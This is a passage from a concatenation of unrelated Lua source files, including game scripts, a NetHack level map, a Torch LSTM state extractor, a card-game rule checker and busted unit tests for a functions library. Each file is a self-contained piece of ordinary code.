initialAngle) + circle.x center.y = circle.radius * math.sin(t * angularVelocity + initialAngle) + circle.y end function Object:delete() This.Sprite:setVisible(false); Object.inactive = true; end function Event.Game.Update(event) if Object.inactive then return; end Object.clock = Object.clock + event.dt; if Object.clock > LIFETIME then Object:delete(); end if state == State.ORBIT then SPEED = ORBIT_SPEED; else SPEED = NORMAL_SPEED; end This.Sprite:rotate(SPEED * event.dt * 180, obe.Transform.Referential.Center); if moon ~= nil and not moon:active() then state = State.FREE vecUnit = Vector2(center.x - oldCenter.x, center.y - oldCenter.y):normalize() end oldCenter = {x = center.x, y = center.y} if state == State.ORBIT then local orbitPos = moon:getPosition() local orbitRadius = moon:getOrbitRadius() followCircle({radius = orbitRadius, x = orbitPos.x, y = orbitPos.y}, event.dt) elseif state == State.ATTRACTED and ramp.circle ~= nil then followCircle(ramp.circle, event.dt) checkOrbit() else center.x = center.x + vecUnit.x * SPEED * event.dt; center.y = center.y + vecUnit.y * SPEED * event.dt if state == State.ATTRACTED then checkOrbit() else checkAttraction() end end for _, target in pairs(targets) do local offset = obe.Transform.UnitVector(center.x - oldCenter.x, center.y - oldCenter.y); local max_dist_before_collision = This.Collider:getMaximumDistanceBeforeCollision( target.Collider, offset ); if max_dist_before_collision ~= offset then print("Target hit", target.Collider:getCentroid()); print("Positions center", center.x, center.y); print("Old position", oldCenter.x, oldCenter.y); target:hit() -- TODO: Fix this shit This.SceneNode:setPosition( obe.Transform.UnitVector( 0, 0, obe.Transform.Units.ScenePixels ), obe.Transform.Referential.Center ) Object.inactive = true; return end end local collisions = This.Collider:getMaximumDistanceBeforeCollision( obe.Transform.UnitVector( center.x - oldCenter.x, center.y - oldCenter.y ) ).colliders; if #collisions ~= 0 then This.Sprite:setVisible(false); Object.inactive = true; end local next_position = obe.Transform.UnitVector(center.x, center.y); if not Object.bounds:contains(next_position) then Object:delete(); else This.SceneNode:setPosition(next_position, obe.Transform.Referential.Center); end end
local BaseClass = {} BaseClass.__index = BaseClass --[[setmetatable(BaseClass, { __call = function (cls, ...) local self = setmetatable({}, cls) self:_init(...) return self end, })]] function BaseClass:new(init) local self = setmetatable({}, BaseClass) self.value = init return self end function BaseClass:set_value(newval) self.value = newval end function BaseClass:get_value() return self.value end return BaseClass
-- Borrowed from SLASH'EM -- -- des.level_init({ style = "solidfill", fg = " " }); des.level_flags("mazelevel", "noteleport", "hardfloor", "premapped", "solidify"); des.map([[ ----------------- |.......|...--..| |.-----.|.......| |.---...|.......| |...........--..| |......--...||..| |FFFFF-------|.-| |...........|-..| |.....-------...| |...............| |..L..-------...| |.....| |...| ------- ----- ]]); des.levregion({ region = {01,05,01,05}, type = "branch" }) des.stair("up", 11,07) des.region(selection.area(00,00,30,12),"lit") des.non_diggable(selection.area(00,00,30,12)) des.non_passwall(selection.area(00,00,30,12)) -- Boulders des.object("boulder",06,03) des.object("boulder",06,04) des.object("boulder",07,04) des.object("boulder",12,02) des.object("boulder",12,03) des.object("boulder",14,04) des.object("boulder",14,07) des.object("boulder",12,09) des.object("boulder",13,09) des.object("boulder",14,10) -- Traps des.trap("pit",6,7) des.trap("pit",6,9) des.trap("pit",7,7) des.trap("pit",7,9) des.trap("pit",8,7) des.trap("pit",8,9) des.trap("pit",9,7) des.trap("pit",9,9) des.trap("pit",10,7) des.trap("pit",10,9) -- A little help des.object("earth",14,01) des.object("earth",15,01) -- Random objects des.object({ class = "%" }); des.object({ class = "%" }); des.object({ class = "%" }); des.object({ class = "%" }); des.object({ class = "=" }); des.object({ class = "/" });
return { methods = { close = { function(self, args, ret) if self.puppeting then self:unpuppet() end print(("%s [%s] has disconnected"):format(self.name, self.sock:getpeername())) self.sock:close() end }, puppet = { function(self, args, ret) local character = args[1] if character.__puppeteer then return STOP end character.__puppeteer = self character:call("onPuppet", {self}) self.puppeting = character return true end }, unpuppet = { function(self, args, ret) local character = self.puppeting character.__puppeteer = nil character:call("onUnpuppet", {self}) self.puppeting = nil end }, }, }
data.raw.player.player.mining_categories = {}
--[[ Copyright 2019 Manticore Games, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --]] -- Internal custom properties local AS = require(script:GetCustomProperty("API")) local COMPONENT_ROOT = script:GetCustomProperty("ComponentRoot"):WaitForObject() local MAP_CONTAINER = script:GetCustomProperty("MapContainer"):WaitForObject() local MAP_PLAYER_INDICATOR = script:GetCustomProperty("MapPlayerIndicator") -- User exposed properties local HIDE_ENEMIES_WHEN_ALIVE = COMPONENT_ROOT:GetCustomProperty("HideEnemiesWhenAlive") local SELF_COLOR = COMPONENT_ROOT:GetCustomProperty("SelfColor") local ENEMY_COLOR = COMPONENT_ROOT:GetCustomProperty("EnemyColor") -- Constants local LOCAL_PLAYER = Game.GetLocalPlayer() -- Variables local playerIndicators = {} -- float GetClampedAngle(float) -- Returns the angle in the range [0, 360) function GetClampedAngle(angle) local result = math.fmod(angle, 360.0) if result < 0.0 then return result + 360.0 end return result end -- nil UpdatePlayerIndicator(Player, CoreObject) -- Updates the player icon in the map view function UpdatePlayerIndicator(player, indicator) -- Hide enemies location during lobby if HIDE_ENEMIES_WHEN_ALIVE and LOCAL_PLAYER ~= player and Teams.AreTeamsEnemies(player.team, LOCAL_PLAYER.team) and not LOCAL_PLAYER.isDead then playerIndicators[player].visibility = Visibility.FORCE_OFF return end -- Show player indicator playerIndicators[player].visibility = Visibility.INHERIT -- Get player screen position local playerScreenPos = UI.GetScreenPosition(player:GetWorldPosition()) if not playerScreenPos then return end indicator.x = playerScreenPos.x indicator.y = playerScreenPos.y -- Get the custom properties and apply player info local playerName = indicator:GetCustomProperty("PlayerName"):WaitForObject() local playerIndicator = indicator:GetCustomProperty("PlayerIndicator"):WaitForObject() local playerIndicatorOutline = indicator:GetCustomProperty("PlayerIndicatorOutline"):WaitForObject() local enemyIndicator = indicator:GetCustomProperty("EnemyIndicator"):WaitForObject() local enemyIndicatorOutline = indicator:GetCustomProperty("EnemyIndicatorOutline"):WaitForObject() if LOCAL_PLAYER == player then playerIndicatorOutline.visibility = Visibility.INHERIT enemyIndicatorOutline.visibility = Visibility.FORCE_OFF playerIndicator:SetColor(SELF_COLOR) playerName.text = "YOU" playerIndicatorOutline.rotationAngle = GetClampedAngle(player:GetWorldRotation().z) else enemyIndicatorOutline.visibility = Visibility.INHERIT playerIndicatorOutline.visibility = Visibility.FORCE_OFF enemyIndicator:SetColor(ENEMY_COLOR) playerName:SetColor(ENEMY_COLOR) playerName.text = player.name end end -- nil Tick() -- Updates map indicators function Tick() -- Display map functionality if AS.IsSpectating() then MAP_CONTAINER.visibility = Visibility.INHERIT for _, player in ipairs(Game.GetPlayers()) do if not playerIndicators[player] and Object.IsValid(player) then playerIndicators[player] = World.SpawnAsset(MAP_PLAYER_INDICATOR, {parent = MAP_CONTAINER}) end if playerIndicators[player] and Object.IsValid(player) then UpdatePlayerIndicator(player, playerIndicators[player]) end end else MAP_CONTAINER.visibility = Visibility.FORCE_OFF end end -- nil OnPlayerJoined(Player) -- Add new player indicator to the table function OnPlayerJoined(player) if not playerIndicators[player] and Object.IsValid(player) then playerIndicators[player] = World.SpawnAsset(MAP_PLAYER_INDICATOR, {parent = MAP_CONTAINER}) end end -- nil OnPlayerJoined(Player) -- Remove indicator of the leaving player from the table function OnPlayerLeft(player) if playerIndicators[player] then playerIndicators[player]:Destroy() playerIndicators[player] = nil end end -- Initialize Game.playerJoinedEvent:Connect(OnPlayerJoined) Game.playerLeftEvent:Connect(OnPlayerLeft) MAP_CONTAINER.visibility = Visibility.FORCE_OFF
local MainUIMenuView = BaseClass(UINode) function MainUIMenuView:Constructor( ) self.viewCfg = { prefabPath = "Assets/AssetBundleRes/ui/mainui/MainUIMenuView.prefab", canvasName = "MainUI", } end function MainUIMenuView:OnLoad( ) local names = { "bag:obj", } UI.GetChildren(self, self.transform, names) self:AddEvents() self:OnUpdate() end function MainUIMenuView:AddEvents( ) local on_click = function ( click_obj ) if self.bag_obj == click_obj then local view = require("Game.Bag.BagMainView").New() view:Load() -- elseif self.main_city_obj == click_obj then -- SceneMgr.Instance:ReqEnterScene(1001, 0) end end -- UI.BindClickEvent(self.main_city_obj, on_click) UI.BindClickEvent(self.bag_obj, on_click) end function MainUIMenuView:OnUpdate( ) end return MainUIMenuView
-- Copyright (c) 2021 Trevor Redfern -- -- This software is released under the MIT License. -- https://opensource.org/licenses/MIT local Components = require "moonpie.ui.components" local Player = require "game.rules.player" local connect = require "moonpie.redux.connect" local tables = require "moonpie.tables" local SpriteImage = require "game.ui.widgets.sprite_image" local Slot = Components("quick_slots_slot", function(props) return { id = "hotkey_" .. props.hotkey, SpriteImage { id = "HotKeyImage", sprite = props.action.image }, Components.text { text = props.hotkey, style = "align-bottom align-right" }, click = props.action.handler, } end) local QuickSlots = Components("quick_slots", function(props) local hotkeys = props.hotkeys or {} return { hotkeys = hotkeys, render = function(self) return tables.map(self.hotkeys, function(item) return Slot { action = item.value, hotkey = item.key } end) end } end) return connect(QuickSlots, function(state) local hotkeys = Player.selectors.getHotKeys(state) or {} local sortedKeys = tables.sortBy(hotkeys, function(k) return k end) return { hotkeys = sortedKeys } end)
local function EXPORT_GLOBAL(key, value) _G[key] = value eonz.log('exported "' .. key .. '" to the global table') end local function EXPORT_OPT_GLOBAL(opt, def, value) if opt then local key = type(opt) == 'string' and opt or def EXPORT_GLOBAL(key, value) end end -- # Optional Exports -- To export these optional packages into the global namespace, set -- their opts key to a truthy value when calling this function. If -- you set the value to a string, that string is the name the package -- will be exported as. If you set the value to `true`, they will be -- exported under their default name. return function(opts) local root_namespace = require 'eonz.namespace' if opts.debug_messages then root_namespace.eonz:setVariable("DEBUG", true) root_namespace.eonz:setVariable("log", function (...) print (...) end) else root_namespace.eonz:setVariable("log", function () end) end EXPORT_GLOBAL("eonz", root_namespace.eonz) EXPORT_OPT_GLOBAL(opts.global_vector, "vector", root_namespace.eonz.vector) EXPORT_OPT_GLOBAL(opts.global_namespace, "lib", root_namespace) end
local s = "chocolate,1.29,darkchocolat" local commaPosition = string.find(s, ",") print(commaPosition) local item = string.sub(s, 1, commaPosition-1) local price = string.sub(s, commaPosition+1) print(item) print(price)
local function phpfpm(act) return action.when(physical.path:suffix(".php"), action.when(physical.is_file:is(), act), action.when(request.path:eq("/fpm-status"), act) ) end actions = { ["phpfpm"] = phpfpm, }
require 'nn' require 'rnn' require 'nngraph' require 'hdf5' --[[ Extracts the hidden state and output of a trained model at each time step of a data set. Author: Sebastian Gehrmann --]] cmd = torch.CmdLine() cmd:option('-rnn_size', 650, 'size of LSTM internal state') cmd:option('-num_layers', 2, 'number of layers in the LSTM') cmd:option('-data_file','data/','path to data file in hdf5 format') cmd:option('-checkpoint_file','checkpoint/','path to model checkpoint file in t7 format') cmd:option('-output_file','checkpoint/lstm_states.h5','path to output LSTM states in hdf5 format') cmd:option('-gpuid',-1,'which gpu to use. -1 = use CPU') opt = cmd:parse(arg) if opt.gpuid >= 0 then print('using CUDA on GPU ' .. opt.gpuid .. '...') require 'cutorch' require 'cunn' cutorch.setDevice(opt.gpuid + 1) end -- Construct the data set. local data = torch.class("data") function data:__init(data_file) local f = hdf5.open(data_file, 'r') self.target = f:read('target'):all() self.target_output = f:read('target_output'):all() self.target_size = f:read('target_size'):all()[1] self.length = 500--self.target:size(1) self.batchlength = self.target:size(2) self.seqlength = self.target:size(3) end function data.__index(self, idx) local input, target if type(idx) == "string" then return data[idx] elseif opt.gpuid > -1 then input = self.target[idx]:transpose(1, 2):float():cuda() target = nn.SplitTable(2):forward(self.target_output[idx]:float():cuda()) else input = self.target[idx]:transpose(1, 2):float() target = nn.SplitTable(2):forward(self.target_output[idx]:float()) end return {input, target} end --Load the Data local data = data.new(opt.data_file) model = torch.load(opt.checkpoint_file) k = 1 currentbatch = 1 Module = nn.Module all_hidden = {} count = {} for i = 1, (2*opt.num_layers) do all_hidden[i] = torch.FloatTensor(data.length * data.batchlength * data.seqlength, opt.rnn_size) count[i] = 1 end print("starting the extraction...") -- Function to recursively extract output and hidden state of the LSTM function Module:get_states() if self.modules then for i,module in ipairs(self.modules) do if torch.type(module) == "nn.FastLSTM" or torch.type(module) == "nn.GRU"then if module.output ~= nil then all_hidden[k][count[k]]:copy(module.output[currentbatch]) count[k] = count[k] + 1 k = k + 1 end if module.cell ~= nil then all_hidden[k][count[k]]:copy(module.cell[currentbatch]) count[k] = count[k] + 1 k = k + 1 end else module:get_states() end end end end -- Runs over the Data Set and computes the current hidden states function eval_states(data, model) model:forget() model:evaluate() for b = 1, data.batchlength do for i = 1, data.length do local d = data[i] local input, goal = d[1], d[2] for j = 1, data.seqlength do out = model:forward(input:narrow(1,j,1)) k = 1 model:get_states() end end print('output batch ' .. b .. ' of ' .. data.batchlength) currentbatch = currentbatch + 1 end end function construct_index(index) string_type = "" if index%2 == 1 then string_type = "output" else string_type = "states" end string_index = math.ceil(index/2) return string_type .. string_index end eval_states(data, model) local f = hdf5.open(opt.output_file, 'w') for k=1, 2*opt.num_layers do f:write(construct_index(k), all_hidden[k]:float()) end f:close()
local suite = yatm_autotest.att:new_suite("YATM Refinery")
--[[--ldoc desc @module paixing_1569_2 @author WahidZhang Date 2018-01-09 19:35:02 Last Modified by WahidZhang Last Modified time 2018-07-03 17:54:14 ]] --[[ paixing_1569_2: paixing_1569_2: 2对及以上两张点数+花色相同的牌 1、相连的对子,牌点必需相邻,主、副不能相连 2、对大王+对小王是独立的连对 注:这里的花色相同,指黑红梅方其中任意一色完全相同 paidiandaxiao_1579_2: 同牌型的牌点大小:AA22<2233<… 牌型:连对(升级类) 特征:牌点相邻的两组牌,每组都由两张相同牌点和相同花色的牌组成 例如:(33 44)、(77 88)、(小王小王 大王大王) 范围:A-2-3-...-J-Q-K-小王-大王 ]] local CardBase = import("..base.CardBase") local M = class(CardBase) function M:ctor(data, ruleDao) self:init(data) end function M:init(data) local function dealLineArgStr(str) if not str then return end local lineMap = {} local strArr = string.split(str,"/") for _, str1 in ipairs(strArr) do local temp = {} local wangTemp = {} local arr = string.split(str1, ">") for i=1, #arr do if arr[i] == "大王" or arr[i] == "小王" then table.insert(wangTemp, 1, arr[i]) else table.insert(temp, 1, arr[i]) end end table.insert(lineMap, 1, wangTemp) table.insert(lineMap, 1, temp) end return lineMap end local lineMap = { {"A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"}, {"小王", "大王"}, } self.lineArgs = self.sortRule and self.sortRule[1].args[1] self.lineMap = dealLineArgStr(self.lineArgs) or lineMap self.sameCount = 2 self.minLength = 2 self.minNum = self.sameCount * self.minLength self.offset = self.sameCount end --转换成对应的牌值 local function getCardByteFromAttr(valueStr, color) local byte if string.find(valueStr, "%a") == 1 or string.find(valueStr, "%d") == 1 then byte = CardUtils.getCardByteFromAttr(Card.ValueMap:getKeyByValue(valueStr), color) else byte = Card.ByteMap:getKeyByValue(valueStr) end return byte end --分离主副牌 local function separateMainCards(ruleDao,cardList) local mainCards = {} local otherCards = {} for _, card in pairs(cardList) do if ruleDao:isMainCard(card) then table.insert(mainCards, card) else table.insert(otherCards, card) end end return mainCards, otherCards end function M:check(data) local cardList = data.outCardInfo.cardList local cardStack = new(CardStack, {cards = cardList}) if #cardList < self.sameCount * self.minLength then return false end local mainCards = separateMainCards(data.ruleDao, cardList) if #mainCards ~= 0 and #mainCards ~= #cardList then return false end local function checkOneMap(map) ----检查一个序列里是否有满足的 local totalCount = 0 ---记录已使用的牌数 local curCount = 0 --当前牌在牌列表中有多少张 local lastByte = nil --记录下找到序列的最后一张牌 for color = 0, 3 do for _, v in ipairs(map) do local byte = getCardByteFromAttr(v, color) curCount = cardStack:getNumberByByte(byte) if curCount == self.sameCount then totalCount = totalCount + curCount lastByte = byte elseif curCount == 0 then if totalCount == #cardList then return true, lastByte end totalCount = 0 lastByte = nil else break end end if totalCount == #cardList then return true, lastByte else totalCount = 0 lastByte = nil end end end for _,map in pairs(self.lineMap) do --检查多个序列 local code, byte = checkOneMap(map) if code then data.outCardInfo.size = self.sortRule.args data.outCardInfo.byteToSize = self.byteToSize data.outCardInfo.cardByte = byte return code end end end function M:compare(data) local outCardList = data.outCardInfo.cardList local targetCardList = data.targetCardInfo.cardList if #outCardList ~= #targetCardList then return false end local outCardByte = data.outCardInfo.cardByte local tagetCardByte = data.targetCardInfo.cardByte return self.byteToSize[outCardByte] > self.byteToSize[tagetCardByte] end function M:find(data) if data.targetCardInfo then local targetCardNum = #data.targetCardInfo.cardList if targetCardNum < self.sameCount * self.minLength then return end local __groupNum = targetCardNum/self.sameCount if __groupNum ~= math.floor(__groupNum) then return end end --统一处理返回结果 local function dealResult(cardStack, resultList) --TODO:是否统一排序 if not resultList then return end return { cardList = resultList, cardByte = resultList[1].byte, cardType = self.uniqueId, } end --找到value在序列中的位置 local function getLineMapIndex(lineMap,value) for i, v in ipairs(lineMap) do if v == value then return i end end end ---找到序列大于targetCardByte的起始下标 local function getBeginIndex(lineMap,targetCardByte,length) local length = length and length or self.minLength * self.sameCount if not targetCardByte then return 1 else local card = Card.new(targetCardByte) local targetIndex = getLineMapIndex(lineMap,Card.ValueMap:get(card.value)) if targetIndex and targetIndex < #lineMap then return (targetIndex + 1) - length/self.sameCount +1 else return end end end --找大王小王连对 local function findFromKingMap(cardStack, targetCardByte, length) if targetCardByte and targetCardByte == Card.ByteMap:rget("大王") then return end if length and length ~= 4 then return end local redKings = cardStack:getCardsByByte(Card.ByteMap:getKeyByValue("大王")) local blackKings = cardStack:getCardsByByte(Card.ByteMap:getKeyByValue("小王")) if #redKings >= self.sameCount and #blackKings >= self.sameCount then local result = {} for i = 1, self.sameCount do table.insert(result, redKings[i]) end for i = 1, self.sameCount do table.insert(result, blackKings[i]) end return dealResult(cardStack, result) end end --从一个序列中找 local function findFromOneMap(cardStack,map,targetCardByte,length,queue) local index = getBeginIndex(map,targetCardByte,length) if not index then return end local beginIndex = nil local endIndex = nil local steep = nil local insertPos = 1 local insertPosChange = 1 if queue == 1 then --从小到大,从左往右 beginIndex = index endIndex = #map steep = 1 insertPosChange = 0 else --从大到小 beginIndex = #map endIndex = index steep = -1 end local realColor = nil if targetCardByte then realColor = Card.new(targetCardByte).color end local result = {} for color = 0, 3 do --花色遍历 for index = beginIndex, endIndex, steep do local byte = getCardByteFromAttr(map[index], realColor or color) local cards = cardStack:getCardsByByte(byte) local curCount = #cards if curCount >= self.sameCount then for i = 1, self.sameCount do table.insert(result, insertPos, cards[i]) insertPos = insertPos + insertPosChange end if length and #result == length then return dealResult(cardStack, result) end else if not length and #result >= self.minLength * self.sameCount then return dealResult(cardStack, result) end result = {} insertPos = 1 end if index == endIndex then if not length and #result >= self.minLength * self.sameCount then return dealResult(cardStack, result) end result = {} insertPos = 1 end end if realColor then --如果传进来花色则只执行一次 break end result = {} insertPos = 1 end end --========================================================== local cardList = data.srcCardStack:getCardList() local targetCardByte = nil if data.targetCardInfo and data.targetCardInfo.cardByte then targetCardByte = data.targetCardInfo.cardByte end local length = data.targetCardInfo and #data.targetCardInfo.cardList local queue = data.queue or 0 local mainCardList, otherCardList = separateMainCards(data.ruleDao, cardList) local mainCardStack = new(CardStack, {cards = mainCardList}) local otherCardStack = new(CardStack, {cards = otherCardList}) if targetCardByte then local targetCard = Card.new(targetCardByte) if data.ruleDao:isMainCard(targetCard) then --主牌 if queue == 0 then --从大开始找,则先找大小王,再找普通序列 local result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对 if result then return result, left end local result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end else --从小开始找,则先找普通序列,再找大小王 local result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end local result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对 if result then return result, left end end else --副牌 local result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end end else if queue == 0 then local result, left result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对 if result then return result, left end result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end else local result, left result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue) if result then return result, left end result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对 if result then return result, left end end end end function M:test() self.sortRule = { [1] = { ["args"] = { [1] = '大王>小王/K>Q>J>10>9>8>7>6>5>4>3>2>A', }, }, } self:init() Log.e(self.lineMap) local bytes = {0x2,0x2,0x3,0x3,0x5} local cardList = CardUtils.getCardsFromBytes(bytes) local outCardInfo = { cardList = cardList, } Log.e(self:check({outCardInfo = outCardInfo})) local bytes = {0x3,0x3,0x4,0x4,0x5,0x5,0x4e,0x4f,0x4f,0x4e,} local cardList = CardUtils.getCardsFromBytes(bytes) local srcCardStack = new(CardStack, {cards = cardList}) Log.e(self:find({srcCardStack = srcCardStack, queue = 1, })) end return M
local function FLOOD_REQUIRED_ITEMS_INSTALLED() if file.Exists("weapons/arccw_bo1_asp.lua", "LUA") == true and file.Exists("autorun/arccw_autorun.lua", "LUA") == true and file.Exists("weapons/rust_syringe/shared.lua", "LUA") == true then return end if SERVER then print("===================Flood Installing Check====================") print("|=========The required items haven't been installed=========|") print("=============================================================") end if CLIENT then Derma_Query("The required items haven't been installed. Subscribe the required items.", "Flood Installing Check", "Goto Subscribe", function() gui.OpenURL("https://steamcommunity.com/sharedfiles/filedetails/?id=2766690538") Flood_Default_Weapons = true end) end end hook.Add("InitPostEntity", "FLOOD_REQUIRED_ITEMS_INSTALLED", FLOOD_REQUIRED_ITEMS_INSTALLED)
local AbstractRecurrent, parent = torch.class('srnn.AbstractRecurrent', 'srnn.RecurrentContainer') function AbstractRecurrent:__init(...) local function prepareTensorTable(nTensor) local rs = {} for _ = 1, nTensor do table.insert(rs, torch.Tensor()) end return rs end parent.__init(self, ...) if self.initStateStorage.weight then self.initStateStorage.weight:resize(self.nlayer, self.outputSize):zero() self.initStateStorage.gradWeight:resize(self.nlayer, self.outputSize):zero() else self.initStateStorage.weight = torch.zeros(self.nlayer, self.outputSize) self.initStateStorage.gradWeight = torch.zeros(self.nlayer, self.outputSize) end self.gradOutputLast = prepareTensorTable(self.nlayer) end function AbstractRecurrent:prepareForward(input) local function reset_Table(tableIn, bsize, osize) for _, unit in ipairs(tableIn) do unit:resize(bsize, osize):zero() end end local function pair_reset_Table(tableStd, tableSet, clear) for _, unit in pairs(tableStd) do if not tableSet[_] then tableSet[_] = unit.new() end tableSet[_]:resizeAs(unit):zero() end if clear then for _, unit in pairs(tableSet) do if not tableStd[_] then tableSet[_] = nil end end end end -- if it is the first step, reset gradients for this process if self.train and self.backwarded then local bsize = input:size(1) reset_Table(self.gradOutputLast, bsize, self.outputSize) if #self.initStates > 1 then pair_reset_Table(self.initStates, self.gradInitStates, true) end self:resetStep(true, false) end end function AbstractRecurrent:clearState() local function resetTable(tbin) for _, unit in ipairs(tbin) do unit:set() end end resetTable(self.gradOutputLast) return parent.clearState(self) end function AbstractRecurrent:getInput(step, input) if self.inputs[step] then return self.inputs[step] else local _input = {input} -- for the first step, use init outputs and cells, for the later, use the output of the previous step module if step > 1 then for _, unit in ipairs(self:net(step - 1).output) do table.insert(_input, unit) end else local batchsize = input:size(1) for _ = 1, self.nlayer do table.insert(_input, self.initStates[_] or self.initStateStorage.weight[_]:reshape(1, self.outputSize):expand(batchsize, self.outputSize)) end end if self.train then self.inputs[step] = _input end return _input end end function AbstractRecurrent:getGradOutput(step, gradOutput, lastStep) local function getCore(step, gradOutput, lastStep) local function buildTable(tba, tbta) for _, unit in ipairs(tbta) do table.insert(tba, unit) end end if self.gradOutputs[step] then return self.gradOutputs[step] else local _gradOutput = {} -- if this is the first time to backward, set step to current step and build _gradOutput with self.gradOutputLast and self.gradCellLast, otherwise build with the gradInput of the next step module's gradInput if lastStep then buildTable(_gradOutput, self.gradOutputLast) else local _gt = self:net(step + 1).gradInput for _ = 2, #_gt do table.insert(_gradOutput, _gt[_]) end -- assume that updateGradInput was called at first, while accGradParameters, gradOutput will not be added for a second time if gradOutput then _gradOutput[self.nlayer]:add(gradOutput) end -- apply extra gradient if there is any if self.gradOutputAdd[step] then for _, grad in ipairs(self.gradOutputAdd[step]) do _gradOutput[_]:add(grad) end self.gradOutputAdd[step] = nil end end self.gradOutputs[step] = _gradOutput return _gradOutput end end local rs = getCore(step, gradOutput, lastStep) -- for only one layer, just retrieve the only gradOutput if #rs == 1 then return rs[1] else return rs end end
print(hello) print("... and a special hello goes out to Rufus!")
-- Generated by github.com/davyxu/tabtoy -- Version: 2.8.10 local tab = { TRecharge = { { Id = 1, Price = 6 }, { Id = 2, Price = 12 }, { Id = 3, Price = 30 }, { Id = 4, Price = 68 }, { Id = 5, Price = 128 }, { Id = 6, Price = 348 }, { Id = 7, Price = 648 } } } -- Id tab.TRechargeById = {} for _, rec in pairs(tab.TRecharge) do tab.TRechargeById[rec.Id] = rec end tab.Enum = { } return tab
local Functions = require "Functions" local Clock = require "spec_source.Clock" describe( "Functions", function() local callSpy, clock before_each( function() callSpy = spy.new( function(...) return {..., n = select("#", ...)} end ) clock = Clock.setup() end ) after_each( function() clock:teardown() end ) describe( "id", function() it( "passes through args", function() assert.are.same({1, 2, 3}, {Functions.id(1, 2, 3)}) end ) end ) describe( "noop", function() it( "eliminates args", function() assert.are.same({}, {Functions.noop(1, 2, 3)}) end ) end ) describe( "returns", function() it( "returns as expected", function() assert.are.same({1, 2, 3}, {Functions.returns(1, 2, 3)(4, 5, 6)}) end ) end ) describe( "throws", function() it( "throws as expected", function() assert.errors( function() Functions.throws("ExpectedError")(4, 5, 6) end, "ExpectedError" ) end ) end ) describe( "once", function() it( "runs once as expected", function() local count = 0 local once = Functions.once( function(amount) count = count + amount return count end ) assert.equal(3, once(3)) assert.equal(3, once(42)) assert.equal(3, once(1337)) end ) end ) describe( "compose", function() it( "composes functions as expected", function() local function fry(item) return "fried " .. item end local function cheesify(item) return "cheesy " .. item end local prepare = Functions.compose(fry, cheesify) assert.equal("cheesy fried nachos", prepare("nachos")) end ) end ) describe( "bind", function() it( "binds functions as expected", function() local function fry(item, amount) return "fry " .. item .. " " .. amount .. " times" end local fryChips = Functions.bind(fry, "chips") assert.equal("fry chips 10 times", fryChips(10)) end ) end ) describe( "isCallable", function() it( "true for a function", function() assert( Functions.isCallable( function() end ) ) end ) it( "true for a table with a __call metamethod", function() local tbl = {} setmetatable( tbl, { __call = function() end } ) assert(Functions.isCallable(tbl)) end ) it( "false for a table without a __call metamethod", function() assert(not Functions.isCallable({})) end ) end ) describe( "memoize", function() it( "Can memoize with default rule", function() local c = 10 local memoizedSum = Functions.memoize( function(a, b) return a + b + c end ) assert.equal(13, memoizedSum(1, 2)) c = 20 assert.equal(13, memoizedSum(1, 2)) end ) it( "Can memoize with a custom cache key generator", function() local c = 10 local memoizedSum = Functions.memoize( function(a, b) return a + b + c end, function(args) return args[1] end ) assert.equal(13, memoizedSum(1, 2)) c = 20 assert.equal(13, memoizedSum(1, 10)) assert.equal(33, memoizedSum(2, 11)) end ) it( "Can clear the cache with a custom cache key generator", function() local c = 10 local memoizedSum = Functions.memoize( function(a, b) return a + b + c end, function(args) return args[1] end ) assert.equal(13, memoizedSum(1, 2)) c = 20 assert.equal(13, memoizedSum(1, 10)) memoizedSum:clear(1) assert.equal(31, memoizedSum(1, 10)) end ) end ) describe( "setTimeout", function() it( "calls a function after a delay", function() Functions.setTimeout(callSpy, 2) assert.spy(callSpy).was_not_called() wait(3) clock:process() assert.spy(callSpy).was_called() end ) it( "can be cleared", function() local timeout = Functions.setTimeout(callSpy, 2) assert.spy(callSpy).was_not_called() timeout:clear() wait(3) clock:process() assert.spy(callSpy).was_not_called() end ) it( "can be cleared inside the timeout", function() local clearCallSpy = spy.new( function(timeout) timeout:clear() end ) local timeout = Functions.setTimeout(clearCallSpy, 2) assert.spy(clearCallSpy).was_not_called() timeout:clear() wait(3) clock:process() assert.spy(clearCallSpy).was_not_called() end ) end ) describe( "setInterval", function() it( "calls a function repeatedly at intervals", function() Functions.setInterval(callSpy, 2) assert.spy(callSpy).was_not_called() wait(3) clock:process() assert.spy(callSpy).called(1) wait(2) clock:process() assert.spy(callSpy).called(2) wait(2) clock:process() assert.spy(callSpy).called(3) end ) it( "can be called immediately", function() Functions.setInterval(callSpy, 2, 0) wait(0) clock:process() assert.spy(callSpy).was_called() end ) it( "can be cleared", function() local interval = Functions.setInterval(callSpy, 2) assert.spy(callSpy).was_not_called() wait(3) clock:process() assert.spy(callSpy).called(1) wait(2) clock:process() assert.spy(callSpy).called(2) interval:clear() wait(2) 